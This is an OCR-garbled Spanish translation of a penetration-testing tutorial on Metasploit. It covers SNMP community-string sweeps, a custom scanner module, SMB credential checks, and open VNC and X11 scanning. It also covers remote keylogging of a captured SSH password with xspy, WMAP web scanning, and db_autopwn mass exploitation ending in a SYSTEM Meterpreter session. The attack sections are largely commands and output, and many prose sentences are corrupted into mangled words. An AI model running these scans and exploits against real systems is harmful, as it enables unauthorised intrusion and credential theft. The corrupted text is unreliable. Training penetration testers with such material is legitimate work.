SNMP Sweeping

SNMP sweeps es a menudo un buen indicador en ¢tméda de mucha informacion sobre sistemas especiic
comprometiendo el dispositivo remoto. Si usted garesun dispositivo Cisco ejecutando una cadenegai por ejemplo, puedes
descargar toda la configuracion entera del dispositnodificarla, y subirla de nuevo con una coufagion maliciosa. Tambien,
la constrasefia de nivel 7 codificada lo que quder@r que son triviales para decodificar y obtei@mable o la contrasefia login
para el dispositivo especifico.

Metasploit viene con un modulo auxiliar especifitemte para dispositivos SNMP. Hay un par de cossdemder antes de
realizar el ataque. Primero, el string o cadenanfoanity string” juega un importante papel de gpe tie informacion se puede
extraer o modificar del dispositivo. Si se pueddivimar" el string de solo lectura o escritura peedbtener un poco de acceso
gue normalmente no tendrias. Ademas, otros dispesibasados en Windows estan configurados on SN\fgnudo con el
string community RO/RW donde puede extraer nivdeparches, servicios que se estan ejecutandibined weinicio, nombres
de usuarios del systema, rutas y otras cantidasl@galimacion valiosas para un atacante.

Cuando se consulta a traves de SNMP, esta lo aqueedsdlamar a un MIB API. El MIB representa la 8ds la Gestion de la
Informacion (Management Information Base), estarfaz permite consultar al dispositivo y extradoimacion. Metasploit
viene cargado con una lista por defecto de MIBsstobhase de datos, lo usa para consultar al disogara obtener mas
informaion en funcion del nivel de acceso que sgaeMiremos al modulo auxiliar.

msf > search snmp
[*] Searching loaded modules for pattern 'snmp'...
Exploits

Name Description

windows/ftp/oracle9i_xdb_ftp_unlock Oracle 9i XD B FTP UNLOCK Overflow (win32)

scanner/snmp/aix_version AIX SNMP Scanner Auxil iary Module
scanner/snmp/community  SNMP Community Scanner

msf > use scanner/snmp/community

msf auxiliary(community) > show options




Module options:

Name Current Setting Required Description
BATCHSIZE 256 yes The number of hosts to probe in each set
COMMUNITIES /pentest/exploits/framework3/data/wo rdlists/snmp.txt no The list of communities that should be attempted per host
RHOSTS yes The target address rang e or CIDR identifier
RPORT 161 yes The target port
THREADS 1 yes The number of concurren t threads
msf auxiliary(community) > set RHOSTS 192.168.0.0-1 92.168.5.255

rhosts => 192.168.0.0-192.168.5.255

msf auxiliary(community) > set THREADS 10
threads => 10

msf auxiliary(community) > exploit

[*] >> progress (192.168.0.0-192.168.0.255) 0/30208
[*] >> progress (192.168.1.0-192.168.1.255) 0/30208
[*] >> progress (192.168.2.0-192.168.2.255) 0/30208
[*] >> progress (192.168.3.0-192.168.3.255) 0/30208
[*] >> progress (192.168.4.0-192.168.4.255) 0/30208
[*] >> progress (-) 0/0...

[*] 192.168.1.50 'public' 'APC Web/SNMP Management Card (MB:v3.8.6 PF:v3.5.5 PN:apc_hw02_aos_355.bin A F1:v3.5.5 AN1l:apc_hw02_sumx_355.bin
MN:AP9619 HR:A10
SN: NA0827001465 MD:07/01/2008) (Embedded Powe rNet SNMP Agent SW v2.2 compatible)'

[*] Auxiliary module execution completed

Como podemos ver, hemos podido conseguir la cadkeipublic”, esto es de solo lectura y no revelahmalinformacion. Pero
sabemos que el dispositivo es un APC WEB/SNMP ,welaion ejecuta.

4.8 Escribiendo tu propio Scanner

ESCRIBIENDO TU PROPIO SCANNER

Hay veces en que es posible que necesite un esspemifico, 0 que tenga actividad de escaneo ugsapser llevada a cabo
dentro de Metasploit. Seria mas facil para los @stps de secuencias de comandos que usar un pragederno. Metasploit
tiene un montdn de caracteristicas que puedensettites para este proposito, como el accesoasthmd mddulos de la
explotacion de clases y métodos, soporte nativa pavidores proxy, SSL, la informacién, y congtiol. Piense en los casos en
gue es posible que tenga que encontrar todass@saias de una contrasefia en un sistema, o ugaduizsde un servicio
personalizado. Por no hablar, es bastante rapidalyde escribir el escaner personalizado.

Vamos a utilizar este escaner TCP muy simple quesecta a un host en un puerto por defecto de51§3d se puede cambiar a
través de las opciones del médulo en tiempo daiei@e. Al conectar con el servidor, se envia 'HELEBRVER', recibe la
respuesta y lo imprime junto con la direccion IRadmaquina remota.

require 'msf/core’

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner

def initialize

super(

‘Name' => 'My custom TCP scan’,
‘Version' => '$Revision: 1 ',
'Description’ => 'My quick scanner’,
‘Author' => "Your name here',
'License’' => MSF_LICENSE

)
register_options( [

Opt::RPORT(12345)

], self.class)

end

def run_host(ip)

connect()

sock.puts('HELLO SERVER?)

data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()

end

end




Guardamos el archivo en nuestro ./modules/auxiBasnner/ como 'simple_tcp.rb' y cargar hasta msfue. Es importante tener
en cuenta dos cosas aqui. En primer lugar, los lm$dargados en tiempo de ejecucion, por lo quetrmauevo médulo no
aparecera a menos que reinicie nuestra interfaeredeion. La segunda es que la estructura de earpstmuy importante, si nos
hubiera guardado nuestro escaner en ./modulesyiscanner/http/ se mostraria en la lista deriédulos de
'scanner/http/simple_tcp'.

Para probar el escaner, configure en netcat comoteyl puerto 12345pipeen un archivo de texto para que actlie como la
respuesta del servidor.

root@bt4:~/docs# nc -Invp 12345 < response.txt
listening on [any] 12345 ...

Acontinuacién, seleccione el médulo de escdner nuevo, configure sus parametros, y ejecutelo para ver los resultados.

msf > use scanner/simple_tcp

msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.10 1
RHOSTS =>192.168.1.101

msf auxiliary(simple_tcp) > run

[*] Received: hello metasploit from 192.168.1.101
[*] Auxiliary module execution completed

Como se puede ver de este ejemplo sencillo, este nivel de versatilidad le puede ser de gran ayuda cuando se necesita algo de
codigo personalizado en el medio de una prueba de penetracion. El poder del marco y de cédigo reutilizable realmente brilla a
través de aqui.

5 Analisis de Vulnerabilidades

Analisis de Vulnerabilidades

El Analisis de Vulnerabilidades te permite escamapidamente un rango de direcciones ip buscanherabilidades conocidas,
permitiendo al pentester tener una rapida ideaudeatpques podrian utilizarse. Cuando se usa tameate, da un gran valor a
las pruebas de penetracion. Los analisis de vibiliel@des son bien conocidos por dar una altadadalsos positivos. Esto debe
de tenerse en cuenta cuando se trabaja con cugbgagrama de analisis de vulnerabilidad.

Veamos a traves de los escaneres de vulnerabiidpaeofrece el Framework Metasploit.

5.1 Verificacion de Login SMB

Verificacion de Login SMB

Una situacion comun donde se puede encontrar westexhn la posesion de un usuario y clave, se pt@guen donde
mas prodria usarlo. Aqui es donde el escanner ShtinL.Check puede ser muy util, ya que se coneatararango
de computadores (hosts) y determinara si la coral@inaisuario/clave son validas con el objetivo.

Tenga en mente, que esto es muy "obvio", ya quéranagdos intentos fallidos en el visor de evelftegistros de
logs). Tener cuidado en que red esta haciendoBstios los intentos exitosos pueden ser conectmesmodulo de
exploit windows/smb/psexec (exactamente como leheenta) la cual es usada para crear sesionestizveter.



msf > use auxiliary/scanner/smb/login
msf auxiliary(login) > show options
Module options:
Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes Set the SMB service port

SMBDomain WORKGROUP no SMB Domain

SMBPass no SMB Passwor d

SMBUser Administrator no SMB Usernam e

THREADS 1 yes The number of concurrent threads

msf auxiliary(login) > set RHOSTS 192.168.1.0/24
RHOSTS =>192.168.1.0/24

msf auxiliary(login) > set SMBUser victim
SMBUser => victim

msf auxiliary(login) > set SMBPass s3cr3t
SMBPass => s3cr3t

msf auxiliary(login) > set THREADS 50
THREADS => 50

msf auxiliary(login) > run

[*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGO N_FAILURE
[*] 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGO N_FAILURE
[] 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGO N_FAILURE
[*] 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGO N_FAILURE

[*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix)
[*] Auxiliary module execution completed

msf auxiliary(login) >

5.2 Autentificacion VNC

Autentificacion VNC

El escaner "Sin Autentificacion VNC" buscara ungaue direciones IP en busca de objetivos quercetra
servicio de VNC sin contrasena configurada. Se seigie cada administrador deberia pone una cons&rase
antes de permitir conexiones entrantes, pero nsmsabe cuando puedes tener suerte y tener exeto en
pentest.

De hecho, una vez haciendo un pentest, nos enowgreon un sistema en la red de destino con el VNC
abierto. Mientras documentamos los resultados,iroeahta de alguna actividad en el sistema. Resyl&a
alguien mas habia encontrado el sistema tambign!lsuario no autorizado estaba vivo y activo en el
mismo sistema al mismo tiempo. Despues de participgoco en ingenieria social con el intruso, @& n
informo por el usuario que acababa de entrar sisteima, que llego a traves de escaneos de greaEs
de direccions IP buscando sistemas abiertos. Estach que el intruso en verdad buscaba activarestate
"frutas bajas" o sistemas faciles, si ignoras esttu propio riesgo.

Si quieres probar este modulo en tu laboratoriedpa descargar una version vulnerable de UltrayNIC

Para utilizar el escaner de VNC, primero seleccimsgel modulo auxiliar, definimos las opcionesgtuse
ejecuta.

msf auxiliary(vnc_none_auth) > use scanner/vnc/vnc_ none_auth
msf auxiliary(vnc_none_auth) > show options
Module options:

Name Current Setting Required Description

RHOSTS yes The target ad dress range or CIDR identifier
RPORT 5900 yes The target po rt
THREADS 1 yes The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1 .0/24

RHOSTS =>192.168.1.0/24




msf auxiliary(vnc_none_auth) > set THREADS 50
THREADS => 50

msf auxiliary(vnc_none_auth) > run

[*] 192.168.1.121:5900, VNC server protocol version
[*] 192.168.1.121:5900, VNC server security types s
[*] Auxiliary module execution completed

: RFB 003.008
upported : None, free access!

5.3 X11 a la escucha

X11 a la escucha

Open X11

Parecido al escaner vnc_auth, el modulo Open_Xddnes un rango objetivo en busca de servidoregdéle permitira al
usuario conectarse sin autentificacion. Piensd davastador ataque que se puede llevar a cabestererror de configuracion.

Para usar, una vez que se haya seleccionado elaraghiliar, definir las opciones, y luego dejarreo.

msf > use scanner/x11/open_x11
msf auxiliary(open_x11) > show options
Module options:
Name Current Setting Required Description

RHOSTS yes The target ad
RPORT 6000 yes The target po
THREADS 1 yes The number of

msf auxiliary(open_x11) > set RHOSTS 192.168.1.1/24
RHOSTS => 192.168.1.1/24

msf auxiliary(open_x11) > set THREADS 50
THREADS => 50

msf auxiliary(open_x11) > run

[*] Trying 192.168.1.1

[*] Trying 192.168.1.0

[*¥] Trying 192.168.1.2

[*] Trying 192.168.1.29
[*¥] Trying 192.168.1.30
[*] Open X Server @ 192.168.1.23 (The XFree86 Proje
[*] Trying 192.168.1.31
[*] Trying 192.168.1.32

[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
[*] Trying 192.168.1.255
[*] Auxiliary module execution completed

dress range or CIDR identifier
rt
concurrent threads

ct, Inc)

Solo un ejemplo de lo siguiente que podriamos haeegar un keylogger remoto.

root@bt4:/# cd /pentest/sniffers/xspy/
root@bt4:/pentest/sniffers/xspy# ./xspy -display 19
ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4ss5word

ifconfig

exit

2.168.1.101:0 -delay 100




5.4 Escaner Web WMAP

Escaner Web WMAP

WMAP es un escaner de vulnerabilidad web con muchas caracteristicas, que fue originalmente creado a partir de una
herramienta llamada SQLMap. Esta herramienta ofrece la habilidad de tener un proxy y poder capturar paquetes para realizar
analisis de vulnerabilidad. Primero tenemos que descargar un proxy que sea compatible y parchearlo con el Metasploit patch.
Tambien tenga en cuenta, que si no lo ha hecho ya, instale rubygems y ruby-sqlite3 ya que es un requisito.

root@bt4:/pentest/exploits/framework3# wget http://ratproxy.googlecode.com/files/ratproxy-1.58. tar.gz
--2009-06-29 21:41:02-- http://ratproxy.googlecode.com/files/ratproxy-1.58. tar.gz
Resolving ratproxy.googlecode.com... 74.125.93.82

Connecting to ratproxy.googlecode.com|74.125.93.82| :80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 168409 (164K) [application/x-gzip]

Saving to: ‘ratproxy-1.58.tar.gz'

100%[: ] 168,409 201K/s

in 0.8s 2009-06-29 21:41:03 (201 KB/s) - ‘ratproxy- 1.58.tar.gz' saved [168409/168409]
root@bt4:/pentest/exploits/framework3# tar -zxvf ra tproxy-1.58.tar.gz

Unpacked

root@bt4:/pentest/exploits/framework3# cd ratproxy
root@bt4:/pentest/exploits/framework3/ratproxy# pat
patching file Makefile

patching file ratproxy.c

Hunk #8 succeeded at 1785 (offset 9 lines).

Hunk #9 succeeded at 1893 (offset 9 lines).

patching file http.c

Hunk #3 succeeded at 668 (offset 8 lines).
root@bt4:/pentest/exploits/framework3/ratproxy# mak e
Compiled no errors.

ch -d . < /pentest/exploits/framework3/external/rat proxy/ratproxy_wmap.diff

Ahora que tenemos ratproxy parcheado vy listo, t@&seguoie configurar el proxy para permitir que lamanicaciones pasen a
traves del tunel de nuestro proxy y permitir Melais®MAP. Primero abre Firefox y sigue las opcienen el menu Edit,
Preferences, Advanced, Network, Setting, Manuatyowmnfiguration, seleccione "Usar este proxy gaoos los protocolos” y
en el campo proxy HTTP, introducir localhost y b&taer en el puerto 8080.

Una vez que este configurado, usaremos una sederdandos, iremos a la pagina web, y de ultimdaeasemos. Sigamos el
proceso y veamos como es. Primero necesitamoggooafiy conectarnos a nuestra base de datos.

root@bt4:/pentest/exploits/framework3# ./msfconsole
=[ metasploit v3.3-testing [core:3.3 api:1.0]
+ -- --=[ 381 exploits - 231 payloads

+ -- --=[ 20 encoders - 7 nops

=[ 156 aux

msf > db_create wmap.db

[*] Creating a new database instance...

[*] Successfully connected to the database
[*] File: wmap.db

msf > load db_wmap

[*] =[ WMAP v0.6 - et [ ] metasploit.com
[*] Successfully loaded plugin: db_wmap
msf > db_connect wmap.db

[*] Successfully connected to the database
[*] File: wmap.db

En otra ventana de terminal o pestafa, ejecuteosatigon los registros activos, apuntando a la blaseatos
gue creamos.

root@bt4:/pentest/web/ratproxy# ./ratproxy -v /pent
ratproxy version 1.58-beta by Icamtuf@google.com
['1 WARNING: Running with no ‘'friendly’ domains spe
checks will not work. Please consult the documentat
[*] Proxy configured successfully. Have fun, and pl
[+] Accepting connections on port 8080/tcp (local o

est/exploits/framework3/ -b wmap.db

cified. Many cross-domain
ion for advice.
ease do not be evil.

nly)...




Ahora con todo funcionando, navegaremos al sitib lgetivo, Asegurate de estar un tiempo navegaode! sitio, y llenar la
base de datos con suficiente informacion para ge@dploit pueda funcionar.

Una vez que terminemos de navegar por la pagineobjetivo, volvemos a la session de Metasploitmes lo que hemos
capturado.

msf > wmap_targets -r

[*] Added. 10.211.55.140800
msf > wmap_targets -p

[*] Id. Host Port SSL
[*11.10.211.55.140 80

[*] Done.

msf > wmap_targets -s 1
msf > wmap_website

[*] Website structure

[*] 10.211.55.140:80 SSL:0
ROOT_TREE

| +------ Default.aspx

[*] Done.

msf > wmap_run -t

[*] Loaded auxiliary/scanner/http/wmap_soap_xml ...

[*] Loaded auxiliary/scanner/http/wmap_webdav_scann er...
[*] Loaded auxiliary/scanner/http/options ...

[*] Loaded auxiliary/scanner/http/frontpage_login . .
[*] Loaded auxiliary/scanner/http/wmap_vhost_scanne r...
[*] Loaded auxiliary/scanner/http/wmap_cert ...

[*] Loaded auxiliary/scanner/http/version ...

[*] Loaded auxiliary/scanner/http/frontpage ...

[*] Loaded auxiliary/admin/http/tomcat_manager ...

[*] Loaded auxiliary/scanner/http/wmap_verb_auth_by pass ...

[*] Loaded auxiliary/scanner/http/wmap_ssl ...

[*] Loaded auxiliary/admin/http/tomcat_administrati on ...

[*] Loaded auxiliary/scanner/http/wmap_prev_dir_sam e_name_file ...

[*] Loaded auxiliary/scanner/http/wmap_copy_of file

[*] Loaded auxiliary/scanner/http/writable ...

[*] Loaded auxiliary/scanner/http/wmap_backup_file

[*] Loaded auxiliary/scanner/http/ms09_xxx_webdav_u nicode_bypass ...
[*] Loaded auxiliary/scanner/http/wmap_dir_listing

[*] Loaded auxiliary/scanner/http/wmap_files_dir .. .

[*] Loaded auxiliary/scanner/http/wmap_file_same_na me_dir ...

[*] Loaded auxiliary/scanner/http/wmap_brute_dirs .

[*] Loaded auxiliary/scanner/http/wmap_replace_ext

[*] Loaded auxiliary/scanner/http/wmap_dir_webdav_u nicode_bypass ...
[*] Loaded auxiliary/scanner/http/wmap_dir_scanner

[*] Loaded auxiliary/scanner/http/wmap_blind_sqgl_qu ery ...

[*] Analysis completed in 0.863369941711426 seconds

[*] Done.

msf > wmap_run -e

WMAP ahora utilizara los archivos de la base deslgtie estaban apuntado a ratproxy y que se creanon
Metasploit, ahora empezaremos atacar al sitio vegtigo. Esto generalmente toma un tiempo, ya @ye h
una cantidad considerable de ataques en WMAP. dN@elgunas comprobaciones no son confiables y
pueden tomar mas tiempo para ser completadass&larde un modulo auxiliar especifico, solo use
"control-c" y seguira al siguiente modulo auxiliar.

Espere que todo el proceso haya finalizado y lesgpieze con los comandos siguientes.



msf > wmap_reports

[*] Usage: wmap_reports [options]
-h Display this help text

-p Print all available reports

-s [id] Select report for display

-x [id] Display XML report

msf > wmap_reports -p

[*] Id. Created Target (host,port,ssl)

1. Fri Jun 26 08:35:58 +0000 2009 10.211.55.140,80, 0

[*] Done.

msf > wmap_reports -s 1

WMAP REPORT: 10.211.55.140,80,0 Metasploit WMAP Rep ort [Fri Jun 26 08:35:58 +0000 2009]
WEB_SERVER WEBDAV: ENABLED [Fri Jun 26 08:38:15 +00 00 2009]

WEB_SERVER OPTIONS: OPTIONS, TRACE, GET, HEAD, DELE TE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPAT  CH, LOCK, UNLOCK, SEARCH [Fri Jun 26
08:38:15 +0000 2009]

WEB_SERVER TYPE: Microsoft-11S/6.0 ( Powered by ASP .NET) [Fri Jun 26 08:38:18 +0000 2009]
FILE NAME: /sql/default.aspx File /sql/default.aspx found. [Fri Jun 26 08:39:02 +0000 2009]
FILE RESP_CODE: 200 [Fri Jun 26 08:39:02 +0000 2009 ]

DIRECTORY NAME: /Ads/ Directory /Ads/ found. [Fri J un 26 08:39:37 +0000 2009]
DIRECTORY NAME: /Cch/ Directory /Cch/ found. [Fri J un 26 08:44:10 +0000 2009]
DIRECTORY NAME: /Eeo/ Directory /Eeo/ found. [Fri J un 26 08:49:03 +0000 2009]
DIRECTORY NAME: /_private/ Directory /_private/ fou nd. [Fri Jun 26 08:55:22 +0000 2009]
DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:55:22 +0000 2009]

DIRECTORY NAME: /_vti_bin/ Directory /_vti_bin/ fou nd. [Fri Jun 26 08:55:23 +0000 2009]
DIRECTORY RESP_CODE: 207 [Fri Jun 26 08:55:23 +0000 2009]

DIRECTORY NAME: /_vti_log/ Directory /_vti_log/ fou nd. [Fri Jun 26 08:55:24 +0000 2009]
DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:55:24 +0000 2009]

DIRECTORY NAME: /_vti_pvt/ Directory /_vti_pvt/ fou nd. [Fri Jun 26 08:55:24 +0000 2009]
DIRECTORY RESP_CODE: 500 [Fri Jun 26 08:55:24 +0000 2009]

DIRECTORY NAME: /_vti_txt/ Directory /_vti_txt/ fou nd. [Fri Jun 26 08:55:24 +0000 2009]
DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:55:24 +0000 2009]

DIRECTORY NAME: /_private/ Directory /_private/ fou nd. [Fri Jun 26 08:56:07 +0000 2009]
DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:56:07 +0000 2009]

DIRECTORY NAME: /_vti_bin/ Directory /_vti_bin/ fou nd. [Fri Jun 26 08:56:12 +0000 2009]
DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:56:12 +0000 2009]

DIRECTORY NAME: /_vti_log/ Directory /_vti_log/ fou nd. [Fri Jun 26 08:56:12 +0000 2009]
DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:56:12 +0000 2009]

[*] Done.

msf >

El informe devuelto a nosotros nos dice mucha méarion sobre la aplicacion web y posibles vulndiddrdes que se han
identificado. Como pentesters, nos gustaria ingasttada uno e identificar si hay posibles metatdoataques.

En el ejemplo, hay dos buenos resultados. El pdresiWebDav donde podriamos saltarnos el inicised@n, el otro es el
metodo PUT el cual puede que nos permita insestdigo malicioso en la pagina web. WMAP es una bwesfiecion al
Metasploit Framework y permite tener un escanaruigerabilidad esencial intengrado en este grandraork.

Una cosa a mencionar sobre WMAP es que todavi@se gabajando en el. El sitio que se acaba denest tiene numerosos
errores basados en inyecion de SQL y Cross-Siiptler los cuales no fueron identificados. Solageeen cuenta al usarlo, y
entienda las limitaciones actuales de WMAP.

5.5 Trabajando con Nessus

Trabajando con Nessus

Nessus es un conocido y popular escaneador derahili@ades que es gratis para uso personal, umomercial que fue
lanzado por primera vez en 1998 por Renaurd Dergisztualmente publicado por Tenable Network Sgcurambien hay un
proyecto spin-off de Nesses 2, llamado OpenVAS, asupublicado bajo licencia GPL. Utilizando un grammero de
comprobaciones de vulnerabilidad. Metasploit acapthivos de resultados de escaneos de vulnembitid ambos, tanto
Nessus y OpenVAS en formato de archivo nbe.

Primero veremos una exploracion de Nessus 4:
Photobucket

Al terminar el escaneo de vulnerabilidad, salvaloesesultados en formato nbe y luego ejecutamdsomsole. Lo siguiente,
sera crear a una nueva base de datos para podiesleesultados del archivo.



root@bt4:/pentest/exploits/framework3# ./msfconsole

msf > db_create

[*] Creating a new database instance...

[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db

msf > load db_tracker

[*] Successfully loaded plugin: db_tracker

Ya hemos creado la base de datos, luego usamomahdo 'help’, el cual presentara muchas mas agion

msf > help
...Snip...
Database Backend Commands

Command Description

db_add_host Add one or more hosts to t he database
db_add note Add a note to host

db_add_port Add a port to host

db_autopwn Automatically exploit ever ything
db_connect Connect to an existing dat abase

db_create Create a brand new databas e

db_del_host Delete one or more hosts f rom the database
db_del_port Delete one port from the d atabase
db_destroy Drop an existing database

db_disconnect Disconnect from the curren t database instance
db_driver Specify a database driver

db_hosts List all hosts in the data base
db_import_amap_mlog Import a THC-Amap scan res ults file (-0 -m)
db_import_nessus_nbe Import a Nessus scan resul t file (NBE)
db_import_nessus_xml Import a Nessus scan resul t file (NESSUS)
db_import_ nmap_xml Import a Nmap scan results file (-0X)

db_nmap Executes nmap and records the output automatically
db_notes List all notes in the data base
db_services List all services in the d atabase
db_vulns List all vulnerabilities i n the database
msf >

Asi que vamos e importemos el archivo nbe usandorabndo 'db_import_nessus_nbe' segido de la dbredel archivo.
Despues de importar el resultado, podemos ejeelitamando 'db_hosts' para listar los hosts qemseentran en el archivo
nbe.

msf > db_import_nessus_nbe /root/docs/115 scan.nbe
msf > db_hosts

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Host: 19%8.1.115 Status: alive OS:

Vemos exactamente lo que estamos esperando a gentiiuacion ejecutamos el comando 'db_servitesiat va a enumerar
todos los servicios que se detectaron en la siséscaneado.

msf > db_services

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: h 0st=192.168.1.115 port=135 proto=tcp state=up name= epmap

[*¥] Time: Tue Jul 14 17:40:23 -0600 2009 Service: h 0st=192.168.1.115 port=139 proto=tcp state=up name= netbios-ssn
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: h 0st=192.168.1.115 port=445 proto=tcp state=up name= microsoft-ds
[*¥] Time: Tue Jul 14 17:40:23 -0600 2009 Service: h 0st=192.168.1.115 port=22 proto=tcp state=up name=s sh

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: h 0st=192.168.1.115 port=137 proto=udp state=up name= netbios-ns
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: h 0st=192.168.1.115 port=123 proto=udp state=up name= ntp




Finalmente, y el mas importante, el comando 'dms/yjue listara todas las vulnerabilidades queeportadas por Nessus y
registradas en el archivo.

msf > db_vulns

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host =192.168.1.115 port=22 proto=tcp name=NSS-1.3.6.1.4 .1.25623.1.0.50282 refs=NSS 1.3.6.1.4.1.25623.1.0.5 0282

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host =192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1. 4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0. 11011

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host =192.168.1.115 port=139 proto=tcp name=NSS-1.3.6.1. 4.1.25623.1.0.11011 refs=NSS- 1.3.6.1.4.1.25623.1.0 11011

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host =192.168.1.115 port=137 proto=udp name=NSS-1.3.6.1. 4.1.25623.1.0.10150 refs=NSS-1.3.6.1.4.1.25623.1.0. 10150,CVE-1999-0621
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host =192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1. 4.1.25623.1.0.10394 refs=NSS-1.3.6.1.4.1.25623.1.0. 10394

[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host =192.168.1.115 port=123 proto=udp name=NSS-1.3.6.1. 4.1.25623.1.0.10884 refs=NSS-1.3.6.1.4.1.25623.1.0. 10884

Toda esta enumeracion y analisis nos llevaron@.alp_autopwn. db_autopwn leera todos los puestasicios y las
vulnerabilidades contenidas en los resultadosrdbiv nbe, si coincide con algun exploit y es catitge con el, intentara
explotarla automagicamente. Ejecutando 'db_autepilistara todas las opciones disponibles.

msf > db_autopwn -h

[*] Usage: db_autopwn [options]

-h Display this help text

-t Show all matching exploit modules

-x Select modules based on vulnerability references
-p Select modules based on open ports

-e Launch exploits against all matched targets

-r Use a reverse connect shell

-b Use a bind shell on a random port

-q Disable exploit module output

-I [range] Only exploit hosts inside this range

-X [range] Always exclude hosts inside this range

-PI1 [range] Only exploit hosts with these ports ope n
-PX [range] Always exclude hosts with these ports o pen
-m [regex] Only run modules whose name matches the regex

Vamos a ejecutar 'db_autopwn -x -e' para seleccerexploit basado en la vulnerabilidad (en ludglrpuerto como ocurria con
los resultados de nmap) y explotar todos los ofgstidb_autopwn no es una herramienta sigilosa@fcto, use reverse
Meterpreter shell. Veamos que pasa cuando la ejeast

msf > db_autopwn -x -e

[*] (8/38): Launching exploit/multi/samba/nttrans a gainst 192.168.1.115:139...

[*] (9/38): Launching exploit/windows/smb/psexec ag ainst 192.168.1.115:445...

[*] (20/38): Launching exploit/windows/smb/ms06_066 __nwwks against 192.168.1.115:445...

[-] Exploit failed: The connection was refused by t he remote host (192.168.1.115:22).

[*] (35/38): Launching exploit/windows/smb/ms03_049 _netapi against 192.168.1.115:445...

[*] Started bind handler

[-] Exploit failed: No encoders encoded the buffer successfully.

msf >

[*] Binding to 3d742890-397c-11cf-9bf1-00805f88cb72 :1.0@ncacn_np:192.168.1.115[alert] ...

[*¥] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5 :0.0@ncacn_np:192.168.1.115[Isarpc]...

[-] Exploit failed: The server responded with error : STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[-] Exploit failed: The server responded with error : STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[*¥] Transmitting intermediate stager for over-sized stage...(216 bytes)

[*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (192.168.1.101:408 14 ->192.168.1.115:14198)

Muy bien! db_autopwn ha hecho la explotacion catoesn el objetivo y la shell de Meterpreter estpezando por nosotros. El
comando 'session -I' lista las sesiones abiertastras que 'sessions -i' nos permitira interactaarda session usando el ID.

msf > sessions -
Active sessions

Id Description Tunnel

1 Meterpreter 192.168.1.101:40814 -> 192.168.1.115 14198
msf > sessions -i 1

[*¥] Starting interaction with 1...

meterpreter > sysinfo

Computer: DOOKIE-FA154354

OS : Windows XP (Build 2600, Service Pack 2).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM




Como puede ver, esta caracteristicas es muy pald¥asva agarrar todo en el sistema remoto, y imaicho ruido, pero hay
momentos y lugares para hacer ruido como tambiengsa sigilosos. Esto demuestra la versatilidadramework, y alguna de
las muchas posibilidades de integracion posiblesot@s herramientas.

6 Escribiendo un simple Fuzzer

Escribiendo un simple Fuzzer

Fuzzers son instrumentos usados por profesionalesglridad para proporcionar datos invalidos spedos a las entradas de
un programa. Fuzzers tipicos prueban una aplicat@diesbordamientos parachoques, formatean laaudirdctorio traversal
ataques, vulnerabilidades de ejecucion de ordgectidn de SQL, XSS y mas. Como Metasploit propoiun juego muy
completo de bibliotecas a profesionales de segiipdaa muchos protocolos de red y manipulacionemties, el marco es un
candidato bueno por el desarrollo rapido de fuzzienple.

Rex:: médulo de Texto proporciona muchos métodéastjmos para tratar con el texto como:

* Conversién parachoques

* Codificando (html, url, etc.)

* Checksumming

* Generacion de cuerda arbitraria

El dltimo punto es obviamente muy provechoso erst@itura de fuzzers simple. Para mas informacefigrase a la
documentacion API enttp://metasploit.com/documents/api/rex/classes/Rext.html Aqui estan algunas funciones que usted
puede encontrar en Rex:: el Texto:

root@bt4:~/docs# grep "def self.rand" /pentest/expliramework3/lib/rex/text.rb def self.rand_chzad, chars = AllChars) def
self.rand_base(len, bad, *foo) def self.rand_text(badschars = AllChars)def self.rand_text_alpha(len, bgdief
self.rand_text_alpha_lower(len, bgd¥ef self.rand_text_alpha_upper(len, bpdef self.rand_text_alphanumeric(len, badef
self.rand_text_numeric(len, badeef self.rand_text_english(len, bgdtef self.rand_text_highascii(len, bgdef
self.randomize_space(str) def self.rand_hostnarmsedferand_state()

6.1 Simple Fuzzer TFTP

Simple Fuzzer TFTP

Uno de los aspectos mas potentes de Metasploitras facil esto debe hacer cambios y crear la nfie;v@onalidad reutilizando
el cédigo existente. Por ejemplo, cuando este oddiégfuzzer muy simple se manifiesta, usted puadertunas modificaciones
menores a un médulo de Metasploit existente paa em mddulo fuzzer. Los cambios pasaran longstadecientes al valor de
modo de transporte al 3Com Servicio de TFTP pavdietiows, que resulta en superponer de EIP.

#Metasploit

require 'msf/core’ class Metasploit3 < Msf::Auxijia



